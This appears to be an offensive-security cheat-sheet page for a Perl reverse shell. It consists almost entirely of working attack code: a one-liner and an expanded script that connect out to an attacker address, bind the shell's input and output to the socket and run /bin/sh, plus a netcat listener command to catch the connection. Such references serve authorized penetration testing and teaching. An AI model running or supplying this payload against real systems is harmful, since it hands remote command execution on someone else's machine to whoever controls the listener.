Perl Reverse Shell

A minimal reverse shell in Perl, using only the core Socket module. Useful when the target has Perl installed but lacks nc, python, or bash TCP support.

One-liner

perl -e 'use Socket;$i="$ATTACKER_IP";$p=$ATTACKER_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Expanded form

use Socket;
 
$attacker_ip   = "10.0.0.1";
$attacker_port = 1234;
 
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect(S, sockaddr_in($attacker_port, inet_aton($attacker_ip)))) {
    open(STDIN,  ">&S");
    open(STDOUT, ">&S");
    open(STDERR, ">&S");
    exec("/bin/sh -i");
}

Catching the shell

Use netcat or socat:

nc -lvnp 1234

For a fully interactive TTY, upgrade after catching — see shell-stabilization.

Sources

Related: ruby-reverse-shell, powershell-reverse-shell, shell-stabilization, nodejs-reverse-shell, xterm-reverse-shell